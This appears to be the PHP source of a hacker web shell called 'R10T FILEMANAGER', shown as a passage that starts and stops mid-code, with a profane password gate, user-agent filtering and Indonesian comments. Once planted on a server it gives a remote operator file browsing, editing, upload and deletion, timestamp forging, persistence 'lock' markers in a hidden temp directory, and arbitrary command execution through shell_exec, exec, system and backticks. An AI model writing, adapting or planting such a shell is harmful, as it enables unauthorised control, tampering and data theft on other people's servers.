true, 'windows' => true, 'mac' => false, 'android' => false, 'iphone' => false ]; $demo_mode = false; $login = true; ?> $status) { if ($status && strpos($user_agent, $agent) !== false) { $is_allowed = true; break; } } if (!$is_allowed) { die("ACCESS DENIED"); } if (isset($_POST['hacker_password'])) { if (password_verify($_POST['hacker_password'], $hashed_password)) { $_SESSION['hacker_logged_in'] = true; $_SESSION['hacker_login_time'] = time(); header("Location: " . $_SERVER['PHP_SELF']); exit; } else { $login_error = "USE YOUR FUCKIN BRAIN HOMIES :)"; } } ?> ⚡ R10T FILEMANAGER ⚡
R10TEXEC
⚠️
FUCK YOU BITCH
MASTER PASSWORD
#
EXIT '; if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } $demo_message = '🔒 DEMO MODE: Ini Demo Mode Mohon Pengertiannya'; error_reporting(0); @set_time_limit(0); session_start(); $isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'); $directorySeparator = $isWindows ? '\\' : '/'; function normalizePath($path, $isWindows) { if ($isWindows) { $path = str_replace('/', '\\', $path); if (preg_match('/^[a-zA-Z]:\\\\?$/', $path)) { return rtrim($path, '\\') . '\\'; } if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) { return $path; } $path = preg_replace('/\\\\+/', '\\', $path); } return $path; } function getRealPath($path, $isWindows) { if ($isWindows) { $path = normalizePath($path, $isWindows); if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) { return $path; } $real = realpath($path); if ($real !== false) { return normalizePath($real, $isWindows); } return $path; } else { return realpath($path) ?: $path; } } function joinPaths($base, $path, $isWindows) { if ($isWindows) { $base = rtrim($base, '\\/'); $path = ltrim($path, '\\/'); return $base . '\\' . $path; } else { $base = rtrim($base, '/'); $path = ltrim($path, '/'); return $base . '/' . $path; } } $scriptDir = realpath(__DIR__) ?: __DIR__; if ($isWindows) { $scriptDir = normalizePath($scriptDir, $isWindows); } if (!isset($_SESSION['fm_current_dir']) || !is_dir($_SESSION['fm_current_dir'])) { $_SESSION['fm_current_dir'] = $scriptDir; } if (!isset($_SESSION['terminal_current_dir']) || !is_dir($_SESSION['terminal_current_dir'])) { $_SESSION['terminal_current_dir'] = $scriptDir; } if (isset($_GET['fm_dir'])) { $newDir = urldecode($_GET['fm_dir']); $newDir = getRealPath($newDir, $isWindows); if (is_dir($newDir)) { $_SESSION['fm_current_dir'] = $newDir; setcookie('fm_current_dir', $newDir, time() + (86400 * 30), "/"); } } if (isset($_GET['terminal_dir'])) { $newDir = urldecode($_GET['terminal_dir']); $newDir = getRealPath($newDir, $isWindows); if (is_dir($newDir)) { $_SESSION['terminal_current_dir'] = $newDir; setcookie('terminal_current_dir', $newDir, time() + (86400 * 30), "/"); } } function buildBreadcrumbs($dir, $isWindows) { $dir = normalizePath($dir, $isWindows); if ($isWindows) { $html = []; $scriptOriginalDir = normalizePath(realpath(__DIR__) ?: __DIR__, true); $html[] = ' '; if (preg_match('/^([a-zA-Z]):\\\\$/', $dir, $matches)) { $html[] = '' . htmlspecialchars($dir) . ''; return implode(' ', $html); } $parts = explode('\\', trim($dir, '\\')); $driveLetter = $parts[0]; $path = ''; $html[] = '' . htmlspecialchars($driveLetter) . ''; for ($i = 1; $i < count($parts); $i++) { $path .= '\\' . $parts[$i]; $fullPath = $driveLetter . $path; $html[] = '\\'; $html[] = '' . htmlspecialchars($parts[$i]) . ''; } return implode('', $html); } else { $currentDir = realpath($dir) ?: $dir; $scriptOriginalDir = realpath(__DIR__) ?: __DIR__; $html = []; $html[] = ' '; $html[] = '/'; if ($currentDir === '/' || $currentDir === '') { return implode(' ', $html); } $parts = array_filter(explode('/', trim($currentDir, '/'))); $path = ''; $isFirst = true; foreach ($parts as $part) { $path .= '/' . $part; if (!$isFirst) { $html[] = '/'; } $html[] = '' . htmlspecialchars($part) . ''; $isFirst = false; } return implode('', $html); } } function getFMAbsolutePath($path, $isWindows) { $currentDir = $_SESSION['fm_current_dir'] ?? __DIR__; if ($isWindows) { $currentDir = normalizePath($currentDir, $isWindows); } if (empty($path) || $path == '.') { return getRealPath($currentDir, $isWindows) ?: $currentDir; } if ($path == '..') { $parent = dirname($currentDir); return getRealPath($parent, $isWindows) ?: $parent; } $path = urldecode($path); $path = str_replace("\0", "", $path); if ($isWindows) { if (preg_match('/^[a-zA-Z]:\\\\/', $path)) { return getRealPath($path, $isWindows); } $fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\'); return getRealPath($fullPath, $isWindows); } else { if ($path[0] !== '/') { $path = rtrim($currentDir, '/') . '/' . ltrim($path, '/'); } $real = realpath($path); return $real ?: $path; } } function getTerminalAbsolutePath($path, $isWindows) { $currentDir = $_SESSION['terminal_current_dir'] ?? __DIR__; if ($isWindows) { $currentDir = normalizePath($currentDir, $isWindows); } if (empty($path) || $path == '.') { return getRealPath($currentDir, $isWindows) ?: $currentDir; } if ($path == '..') { $parent = dirname($currentDir); return getRealPath($parent, $isWindows) ?: $parent; } $path = urldecode($path); $path = str_replace("\0", "", $path); if ($isWindows) { if (preg_match('/^[a-zA-Z]:\\\\/', $path)) { return getRealPath($path, $isWindows); } $fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\'); return getRealPath($fullPath, $isWindows); } else { if ($path[0] !== '/') { $path = rtrim($currentDir, '/') . '/' . ltrim($path, '/'); } $real = realpath($path); return $real ?: $path; } } function getFileIcon($name, $isDir, $ext = '') { if ($isDir) return ''; if ($name === '.htaccess') return ''; if ($name === '.env') return ''; if ($name === 'Dockerfile') return ''; if ($name === 'Makefile') return ''; if ($name === 'composer.json' || $name === 'composer.lock') return ''; if ($name === 'package.json' || $name === 'package-lock.json') return ''; if ($name === 'yarn.lock') return ''; $ext = strtolower($ext); $icons = [ 'php' => 'fab fa-php text-purple-500', 'js' => 'fab fa-js text-yellow-400', 'ts' => 'fab fa-js text-blue-400', 'jsx' => 'fab fa-react text-cyan-400', 'tsx' => 'fab fa-react text-cyan-400', 'vue' => 'fab fa-vuejs text-green-400', 'css' => 'fab fa-css3-alt text-blue-400', 'scss|sass|less' => 'fab fa-sass text-pink-400', 'html|htm' => 'fab fa-html5 text-orange-500', 'xml|xsd|xslt' => 'fas fa-code text-blue-400', 'json' => 'fas fa-brackets-curly text-yellow-400', 'yaml|yml' => 'fas fa-code-branch text-green-400', 'py' => 'fab fa-python text-blue-300', 'rb' => 'fas fa-gem text-red-400', 'go' => 'fab fa-golang text-blue-400', 'rs' => 'fas fa-crab text-orange-400', 'c|cpp|h|hpp' => 'fas fa-microchip text-blue-400', 'java' => 'fab fa-java text-red-400', 'kt|kts' => 'fab fa-kotlin text-purple-400', 'swift' => 'fab fa-swift text-orange-400', 'sql' => 'fas fa-database text-orange-400', 'r' => 'fas fa-chart-line text-blue-400', 'lua' => 'fas fa-gamepad text-blue-400', 'pl|pm' => 'fas fa-code text-blue-400', 'ex|exs' => 'fas fa-code text-purple-400', 'htaccess|htpasswd' => 'fas fa-shield-alt text-red-400', 'ini|conf|cfg' => 'fas fa-sliders-h text-gray-400', 'env' => 'fas fa-secret text-green-400', 'xml' => 'fas fa-code text-blue-400', 'toml' => 'fas fa-cog text-gray-400', 'jpg|jpeg|png|gif|bmp|svg|webp|ico|tiff|heic' => 'fas fa-image text-green-500', 'zip|rar|7z|tar|gz|bz2|xz|tgz|zst' => 'fas fa-file-archive text-red-500', 'pdf' => 'fas fa-file-pdf text-red-400', 'doc|docx' => 'fas fa-file-word text-blue-500', 'xls|xlsx|csv' => 'fas fa-file-excel text-green-400', 'ppt|pptx' => 'fas fa-file-powerpoint text-orange-400', 'mp3|wav|ogg|flac|aac|m4a' => 'fas fa-file-audio text-purple-400', 'mp4|avi|mov|mkv|wmv|flv|webm|mpeg' => 'fas fa-file-video text-purple-300', 'txt|log|md|markdown' => 'fas fa-file-alt text-gray-400', 'csv' => 'fas fa-table text-green-400', 'sh|bash|zsh|fish' => 'fas fa-terminal text-green-400', 'bat|cmd|ps1' => 'fas fa-windows text-blue-400', 'vbs' => 'fas fa-code text-blue-400', 'exe|msi' => 'fas fa-cog text-red-500', 'dll|sys|so|dylib' => 'fas fa-cogs text-red-400', 'appimage' => 'fas fa-box text-green-400', 'deb' => 'fab fa-ubuntu text-orange-400', 'rpm' => 'fab fa-redhat text-red-400', 'dockerfile' => 'fab fa-docker text-blue-400', 'makefile' => 'fas fa-tasks text-purple-400', 'dockerignore' => 'fab fa-docker text-gray-400', 'gitignore|gitattributes' => 'fab fa-git-alt text-orange-400', 'pem|crt|key|cer' => 'fas fa-key text-yellow-400', 'pub' => 'fas fa-key text-blue-400', 'ttf|otf|woff|woff2|eot' => 'fas fa-font text-gray-400', 'stl|obj|fbx|blend|3ds' => 'fas fa-cube text-blue-400', 'sqlite|db' => 'fas fa-database text-green-400', 'sql' => 'fas fa-database text-orange-400', 'bak|backup' => 'fas fa-history text-gray-400' ]; foreach ($icons as $pattern => $icon) { $exts = explode('|', $pattern); if (in_array($ext, $exts)) { return ''; } } return ''; } function formatSize($bytes) { if ($bytes == 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i]; } function changePermissions($path, $mode) { if (!file_exists($path)) return false; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { if ($mode == '0444' || $mode == '444') { return @chmod($path, 0444); } else { return @chmod($path, 0666); } } if (is_string($mode) && preg_match('/^[0-7]{3,4}$/', $mode)) { $mode = octdec($mode); } return @chmod($path, $mode); } function changeTimestamp($path, $timestamp) { if (!file_exists($path)) return false; if (is_string($timestamp)) { $timestamp = strtotime($timestamp); } return @touch($path, $timestamp, $timestamp); } function getUploadError($errorCode) { $errors = [ UPLOAD_ERR_OK => 'No error', UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE in form', UPLOAD_ERR_PARTIAL => 'File partially uploaded', UPLOAD_ERR_NO_FILE => 'No file uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write to disk', UPLOAD_ERR_EXTENSION => 'PHP extension stopped upload' ]; return $errors[$errorCode] ?? 'Unknown upload error'; } function deleteRecursive($dir, $isWindows) { if (!file_exists($dir)) return true; if (!is_dir($dir)) { if ($isWindows) { @chmod($dir, 0666); } return @unlink($dir); } $items = @scandir($dir); if ($items === false) return false; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . '/' . $item; if ($isWindows) { $path = str_replace('/', '\\', $path); } if (is_dir($path)) { if (!deleteRecursive($path, $isWindows)) return false; } else { if ($isWindows) { @chmod($path, 0666); } if (!@unlink($path)) return false; } } if ($isWindows) { @chmod($dir, 0777); } return @rmdir($dir); } function addFolderToZip($folder, &$zipFile, $zipPath) { if (!is_dir($folder)) return; $items = @scandir($folder); if ($items === false) return; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $folder . '/' . $item; $localPath = $zipPath . $item; if (is_dir($path)) { $zipFile->addEmptyDir($localPath); addFolderToZip($path, $zipFile, $localPath . '/'); } else { $zipFile->addFile($path, $localPath); } } } function executeWindowsCommand($command, $path) { $output = ''; $return_var = 0; if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) { $new_dir = trim($matches[1], " \t\n\r\0\x0B\"'"); if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') { $new_dir = getenv('USERPROFILE') ?: 'C:\\'; } elseif ($new_dir === '-' || $new_dir === '..') { } else { if (!preg_match('/^[a-zA-Z]:\\\\/', $new_dir)) { $new_dir = rtrim($path, '\\') . '\\' . ltrim($new_dir, '\\'); } $new_dir = str_replace('/', '\\', $new_dir); $real = realpath($new_dir); if ($real && is_dir($real)) { return ['output' => '', 'dir' => $real, 'changed' => true]; } else { return ['output' => "cd: {$matches[1]}: No such file or directory\n", 'changed' => false]; } } } if (strpos($command, 'dir') === 0) { $command = str_replace('dir', 'dir', $command); } $fullCommand = 'cmd /c "' . $command . '" 2>&1'; if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) { $output = @shell_exec($fullCommand); } if (empty($output) && function_exists('exec')) { $outputArray = []; @exec($fullCommand, $outputArray, $return_var); $output = implode("\n", $outputArray); } if (empty($output) && function_exists('system')) { ob_start(); @system($fullCommand, $return_var); $output = ob_get_clean(); } if (empty($output)) { $output = @`$fullCommand`; } if (trim($output) === '') { $output = "(no output)"; } return ['output' => $output, 'dir' => $path, 'changed' => false, 'return_var' => $return_var]; } // ============================================ // FUNGSI SEND JSON (UNTUK MENJAMIN RESPONSE VALID) // ============================================ function sendJSON($data) { // Bersihkan semua buffer while (ob_get_level()) ob_end_clean(); ob_start(); // Set header header('Content-Type: application/json'); header('X-Content-Type-Options: nosniff'); // Encode JSON $json = json_encode($data); // Jika JSON error, kirim error if ($json === false) { $json = json_encode(['error' => 'JSON encode error: ' . json_last_error_msg()]); } // Kirim response echo $json; exit; } if (isset($_GET['action'])) { // Bersihkan semua output buffer while (ob_get_level()) ob_end_clean(); ob_start(); header('Content-Type: application/json'); $action = $_GET['action']; $write_actions = [ 'download', 'view', 'save', 'delete', 'deletemultiple', 'rename', 'mkdir', 'touch', 'chmod', 'touchdate', 'upload', 'zip', 'unzip', 'execute', 'getinfo', 'move', 'copy', 'lockshell', 'unlockshell' ]; if ($demo_mode && in_array($action, $write_actions)) { sendJSON([ 'error' => $demo_message, 'demo_mode' => true ]); } switch ($action) { case 'list': $dir = $_GET['dir'] ?? $_SESSION['fm_current_dir']; $path = getFMAbsolutePath($dir, $isWindows); if (!$path || !is_dir($path)) { sendJSON(['error' => 'Invalid directory']); } $_SESSION['fm_current_dir'] = $path; setcookie('fm_current_dir', $path, time() + (86400 * 30), "/"); $files = @scandir($path); if ($files === false) { sendJSON(['error' => 'Cannot scan directory']); } $items = []; if ($path != '/' && dirname($path) != $path) { $parent = dirname($path); if ($isWindows) { $parent = normalizePath($parent, $isWindows); } $owner = $group = '-'; if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $ownerInfo = @posix_getpwuid(fileowner($parent)); $groupInfo = @posix_getgrgid(filegroup($parent)); $owner = $ownerInfo['name'] ?? fileowner($parent); $group = $groupInfo['name'] ?? filegroup($parent); } elseif ($isWindows) { $owner = 'Windows'; $group = 'Users'; } $items[] = [ 'name' => '..', 'path' => $parent, 'type' => 'dir', 'size' => 0, 'size_fmt' => '-', 'modified' => @filemtime($parent) ?: time(), 'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($parent)), -4), 'icon' => '', 'writable' => @is_writable($parent), 'owner' => $owner, 'group' => $group, 'shell_locked' => false ]; } foreach ($files as $file) { if ($file == '.' || $file == '..') continue; $fullPath = $path . ($isWindows ? '\\' : '/') . $file; $isDir = @is_dir($fullPath); $size = $isDir ? 0 : (@filesize($fullPath) ?: 0); $ext = $isDir ? '' : strtolower(pathinfo($file, PATHINFO_EXTENSION)); $owner = $group = '-'; if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $ownerInfo = @posix_getpwuid(fileowner($fullPath)); $groupInfo = @posix_getgrgid(filegroup($fullPath)); $owner = $ownerInfo['name'] ?? fileowner($fullPath); $group = $groupInfo['name'] ?? filegroup($fullPath); } elseif ($isWindows) { $owner = 'Windows'; $group = 'Users'; } $perms = $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($fullPath)), -4); // Cek apakah file/folder di-lock dengan background process $sessionDir = sys_get_temp_dir() . "/.sessions"; $fileHash = md5($fullPath); $isShellLocked = false; if ($isDir) { $handlerFile = $sessionDir . "/" . $fileHash . "-folder-handler"; $isShellLocked = file_exists($handlerFile); } else { $handlerFile = $sessionDir . "/" . $fileHash . "-handler"; $isShellLocked = file_exists($handlerFile); } $items[] = [ 'name' => $file, 'path' => $fullPath, 'type' => $isDir ? 'dir' : 'file', 'size' => $size, 'size_fmt' => $isDir ? '-' : formatSize($size), 'modified' => @filemtime($fullPath) ?: time(), 'permissions' => $perms, 'icon' => getFileIcon($file, $isDir, $ext), 'ext' => $ext, 'writable' => @is_writable($fullPath), 'owner' => $owner, 'group' => $group, 'shell_locked' => $isShellLocked, 'is_dir' => $isDir ]; } usort($items, function($a, $b) { if ($a['name'] == '..') return -1; if ($b['name'] == '..') return 1; if ($a['type'] == $b['type']) return strcasecmp($a['name'], $b['name']); return $a['type'] == 'dir' ? -1 : 1; }); $total = @disk_total_space($path); $free = @disk_free_space($path); $used = $total ? $total - $free : 0; $percent = $total ? round(($used / $total) * 100, 2) : 0; sendJSON([ 'success' => true, 'path' => $path, 'breadcrumbs' => buildBreadcrumbs($path, $isWindows), 'files' => $items, 'disk' => [ 'total' => $total ? formatSize($total) : 'N/A', 'used' => $total ? formatSize($used) : 'N/A', 'free' => $free ? formatSize($free) : 'N/A', 'percent' => $percent ] ]); break; case 'download': $file = $_GET['file'] ?? ''; $path = getFMAbsolutePath($file, $isWindows); if (!$path || !is_file($path)) { header('HTTP/1.1 404 Not Found'); exit; } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Content-Length: ' . filesize($path)); readfile($path); exit; case 'view': $file = $_GET['file'] ?? ''; $raw = isset($_GET['raw']) && $_GET['raw'] == '1'; $path = getFMAbsolutePath($file, $isWindows); if (!$path || !is_file($path)) { sendJSON(['error' => 'File not found']); } $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $size = filesize($path); $isText = false; $content = ''; $isBinary = false; $textExts = [ 'txt', 'php', 'js', 'css', 'html', 'htm', 'json', 'xml', 'yml', 'yaml', 'md', 'sql', 'log', 'sh', 'bash', 'zsh', 'fish', 'py', 'rb', 'go', 'rs', 'c', 'cpp', 'h', 'hpp', 'java', 'kt', 'kts', 'swift', 'pl', 'pm', 'lua', 'env', 'htaccess', 'htpasswd', 'ini', 'conf', 'cfg', 'toml', 'gitignore', 'dockerignore', 'dockerfile', 'makefile', 'csv', 'ts', 'tsx', 'jsx', 'vue', 'scss', 'sass', 'less', 'bat', 'cmd', 'ps1', 'vbs', 'r', 'sqlite', 'db', 'css', 'js', 'xml', 'svg', 'map' ]; $imageExts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico', 'tiff', 'heic']; if (in_array($ext, $textExts) || $raw) { $isText = true; if ($size > 50 * 1024 * 1024) { $content = "// File too large (" . formatSize($size) . ")\n// Max editable size: 50MB\n// Use download to get full file"; } else { $content = @file_get_contents($path); if ($content === false) { $content = "// Failed to read file content"; } elseif (empty($content)) { $content = ""; } } } elseif (in_array($ext, $imageExts)) { $isText = false; $isBinary = false; } else { $isBinary = true; $isText = true; if ($size > 10 * 1024 * 1024) { $content = "// Binary file too large (" . formatSize($size) . ")\n// Max editable size: 10MB\n// Use download to get full file\n\n"; $content .= "// File info:\n"; $content .= "// Name: " . basename($path) . "\n"; $content .= "// Size: " . formatSize($size) . "\n"; $content .= "// Extension: .$ext\n"; $content .= "// Type: Binary file - EDIT AT YOUR OWN RISK!\n\n"; $content .= "// WARNING: Editing binary files can corrupt them!\n"; $content .= "// Only edit if you know what you're doing.\n\n"; $content .= "// Use the Download button to get the original file"; } else { $fileContent = @file_get_contents($path); if ($fileContent !== false) { $content = $fileContent; } else { $content = "// Cannot read binary file content\n// Use Download button to get the file"; } } } sendJSON([ 'success' => true, 'path' => $path, 'name' => basename($path), 'is_text' => $isText, 'is_image' => in_array($ext, $imageExts), 'is_binary' => $isBinary, 'size' => formatSize($size), 'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4), 'modified' => filemtime($path), 'content' => $content, 'ext' => $ext, 'can_edit' => true ]); break; case 'save': $file = $_POST['file'] ?? ''; $content = $_POST['content'] ?? ''; $path = getFMAbsolutePath($file, $isWindows); if (!$path) { sendJSON(['error' => 'Invalid path']); } if (@file_put_contents($path, $content) !== false) { sendJSON(['success' => true]); } else { sendJSON(['error' => 'Failed to save']); } break; case 'delete': $target = $_POST['path'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path) { sendJSON(['error' => 'Invalid path']); } $success = false; if (is_file($path)) { if ($isWindows) { @chmod($path, 0666); } $success = @unlink($path); } elseif (is_dir($path)) { $success = deleteRecursive($path, $isWindows); } if ($success) { sendJSON(['success' => true]); } else { sendJSON(['error' => 'Delete failed']); } break; case 'deletemultiple': $targets = isset($_POST['paths']) ? json_decode($_POST['paths'], true) : []; if (empty($targets)) { sendJSON(['error' => 'No files selected']); } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [] ]; foreach ($targets as $target) { $path = getFMAbsolutePath($target, $isWindows); if (!$path) { $results['failed']++; $results['errors'][] = "Invalid path: $target"; continue; } if (is_file($path)) { if ($isWindows) { @chmod($path, 0666); } if (@unlink($path)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to delete: " . basename($path); } } elseif (is_dir($path)) { if (deleteRecursive($path, $isWindows)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to delete folder: " . basename($path); } } } sendJSON([ 'success' => $results['success'] > 0, 'results' => $results, 'message' => "Deleted {$results['success']} items" . ($results['failed'] > 0 ? ", {$results['failed']} failed" : "") ]); break; case 'rename': $old = $_POST['old'] ?? ''; $new = $_POST['new'] ?? ''; $oldPath = getFMAbsolutePath($old, $isWindows); $dir = dirname($oldPath); $newPath = $dir . ($isWindows ? '\\' : '/') . $new; if (!$oldPath || file_exists($newPath)) { sendJSON(['error' => 'Invalid path or name exists']); } if (@rename($oldPath, $newPath)) { sendJSON(['success' => true]); } else { sendJSON(['error' => 'Rename failed']); } break; case 'mkdir': $dir = $_POST['dir'] ?? ''; $name = $_POST['name'] ?? ''; $path = getFMAbsolutePath($dir, $isWindows); $newPath = $path . ($isWindows ? '\\' : '/') . $name; if (!$path || file_exists($newPath)) { sendJSON(['error' => 'Invalid path or exists']); } if (@mkdir($newPath, 0755)) { sendJSON(['success' => true]); } else { sendJSON(['error' => 'Create failed']); } break; case 'touch': $dir = $_POST['dir'] ?? ''; $name = $_POST['name'] ?? ''; $path = getFMAbsolutePath($dir, $isWindows); $newPath = $path . ($isWindows ? '\\' : '/') . $name; if (!$path || file_exists($newPath)) { sendJSON(['error' => 'Invalid path or file exists']); } if (@touch($newPath)) { sendJSON(['success' => true]); } else { sendJSON(['error' => 'Create failed']); } break; case 'chmod': $target = $_POST['path'] ?? ''; $mode = $_POST['mode'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { sendJSON(['error' => 'Invalid path']); } if (changePermissions($path, $mode)) { sendJSON(['success' => true]); } else { sendJSON(['error' => 'Change permissions failed']); } break; case 'touchdate': $target = $_POST['path'] ?? ''; $date = $_POST['date'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { sendJSON(['error' => 'Invalid path']); } if (changeTimestamp($path, $date)) { sendJSON(['success' => true]); } else { sendJSON(['error' => 'Change timestamp failed']); } break; case 'upload': $dir = $_POST['dir'] ?? ''; $path = getFMAbsolutePath($dir, $isWindows); if (!$path || !is_dir($path)) { sendJSON(['error' => 'Invalid directory']); } if (!isset($_FILES['file'])) { sendJSON(['error' => 'No file uploaded']); } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [], 'uploaded' => [] ]; $files = $_FILES['file']; if (!is_array($files['name'])) { $files = [ 'name' => [$files['name']], 'type' => [$files['type']], 'tmp_name' => [$files['tmp_name']], 'error' => [$files['error']], 'size' => [$files['size']] ]; } $fileCount = count($files['name']); for ($i = 0; $i < $fileCount; $i++) { $fileName = basename($files['name'][$i]); $fileTmp = $files['tmp_name'][$i]; $fileError = $files['error'][$i]; $fileSize = $files['size'][$i]; if ($fileError !== UPLOAD_ERR_OK) { $results['failed']++; $errorMsg = getUploadError($fileError); $results['errors'][] = "{$fileName}: {$errorMsg}"; continue; } $maxSize = 100 * 1024 * 1024; if ($fileSize > $maxSize) { $results['failed']++; $results['errors'][] = "{$fileName}: File too large (max 100MB)"; continue; } $safeFileName = preg_replace('/[^\w\.\-]/', '_', $fileName); $dest = $path . ($isWindows ? '\\' : '/') . $safeFileName; $counter = 1; $originalName = $safeFileName; while (file_exists($dest)) { $info = pathinfo($originalName); $safeFileName = $info['filename'] . '_' . $counter . '.' . ($info['extension'] ?? ''); $dest = $path . ($isWindows ? '\\' : '/') . $safeFileName; $counter++; } if (@move_uploaded_file($fileTmp, $dest)) { $results['success']++; $results['uploaded'][] = $safeFileName; @chmod($dest, 0644); } else { $results['failed']++; $results['errors'][] = "Failed to upload '{$fileName}'"; } } if ($results['success'] > 0) { sendJSON([ 'success' => true, 'message' => "Uploaded {$results['success']} file(s)" . ($results['failed'] > 0 ? ", {$results['failed']} failed" : ""), 'results' => $results ]); } else { sendJSON([ 'error' => 'Upload failed: ' . implode(', ', array_slice($results['errors'], 0, 3)), 'results' => $results ]); } break; case 'zip': $targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : []; $dir = $_POST['dir'] ?? ''; $name = $_POST['name'] ?? 'archive.zip'; $path = getFMAbsolutePath($dir, $isWindows); if (!$path || !is_dir($path)) { sendJSON(['error' => 'Invalid directory']); } if (!class_exists('ZipArchive')) { sendJSON(['error' => 'ZipArchive not available']); } $zipPath = $path . ($isWindows ? '\\' : '/') . $name; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { sendJSON(['error' => 'Cannot create zip']); } foreach ($targets as $target) { $absPath = getFMAbsolutePath($target, $isWindows); if (!$absPath) continue; if (is_file($absPath)) { $zip->addFile($absPath, basename($absPath)); } elseif (is_dir($absPath)) { $zip->addEmptyDir(basename($absPath)); addFolderToZip($absPath, $zip, basename($absPath) . '/'); } } $zip->close(); sendJSON(['success' => true, 'archive' => $name]); break; case 'move': $sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : []; $destination = $_POST['destination'] ?? ''; if (empty($sources)) { sendJSON(['error' => 'No sources specified']); } $destPath = getFMAbsolutePath($destination, $isWindows); if (!$destPath || !is_dir($destPath)) { sendJSON(['error' => 'Destination is not a valid directory']); } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [] ]; foreach ($sources as $source) { $srcPath = getFMAbsolutePath($source, $isWindows); if (!$srcPath) { $results['failed']++; $results['errors'][] = "Invalid source: $source"; continue; } $baseName = basename($srcPath); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName; $counter = 1; $originalDest = $destFullPath; while (file_exists($destFullPath)) { $info = pathinfo($originalDest); $newName = $info['filename'] . '_' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : ''); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName; $counter++; } if (@rename($srcPath, $destFullPath)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to move: $baseName"; } } sendJSON([ 'success' => $results['success'] > 0, 'results' => $results, 'message' => "Moved {$results['success']} item(s)" . ($results['failed'] > 0 ? ", {$results['failed']} failed" : "") ]); break; case 'copy': $sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : []; $destination = $_POST['destination'] ?? ''; if (empty($sources)) { sendJSON(['error' => 'No sources specified']); } $destPath = getFMAbsolutePath($destination, $isWindows); if (!$destPath || !is_dir($destPath)) { sendJSON(['error' => 'Destination is not a valid directory']); } $results = [ 'success' => 0, 'failed' => 0, 'errors' => [] ]; foreach ($sources as $source) { $srcPath = getFMAbsolutePath($source, $isWindows); if (!$srcPath) { $results['failed']++; $results['errors'][] = "Invalid source: $source"; continue; } $baseName = basename($srcPath); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName; $counter = 1; $originalDest = $destFullPath; while (file_exists($destFullPath)) { $info = pathinfo($originalDest); $newName = $info['filename'] . '_copy' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : ''); $destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName; $counter++; } if (is_file($srcPath)) { if (@copy($srcPath, $destFullPath)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to copy file: $baseName"; } } elseif (is_dir($srcPath)) { if (copyDirectory($srcPath, $destFullPath, $isWindows)) { $results['success']++; } else { $results['failed']++; $results['errors'][] = "Failed to copy folder: $baseName"; } } } sendJSON([ 'success' => $results['success'] > 0, 'results' => $results, 'message' => "Copied {$results['success']} item(s)" . ($results['failed'] > 0 ? ", {$results['failed']} failed" : "") ]); break; case 'unzip': $file = $_POST['file'] ?? ''; $dir = $_POST['dir'] ?? ''; $zipPath = getFMAbsolutePath($file, $isWindows); $destPath = getFMAbsolutePath($dir, $isWindows); if (!$zipPath || !is_file($zipPath) || !$destPath || !is_dir($destPath)) { sendJSON(['error' => 'Invalid paths']); } if (!class_exists('ZipArchive')) { sendJSON(['error' => 'ZipArchive not available']); } $zip = new ZipArchive(); if ($zip->open($zipPath) !== true) { sendJSON(['error' => 'Cannot open archive']); } if ($zip->extractTo($destPath)) { $zip->close(); sendJSON(['success' => true]); } else { $zip->close(); sendJSON(['error' => 'Extract failed']); } break; case 'execute': $command = $_POST['command'] ?? ''; $path = $_POST['dir'] ?? $_SESSION['terminal_current_dir'] ?? __DIR__; $_SESSION['terminal_current_dir'] = $path; if ($isWindows) { $path = normalizePath($path, $isWindows); } if (!$path || !is_dir($path)) { $path = __DIR__; if ($isWindows) { $path = normalizePath($path, $isWindows); } $_SESSION['terminal_current_dir'] = $path; } $output = ''; $method = 'none'; $return_var = 0; $changed_dir = false; $command = trim($command); if ($isWindows) { $result = executeWindowsCommand($command, $path); if (isset($result['changed']) && $result['changed']) { 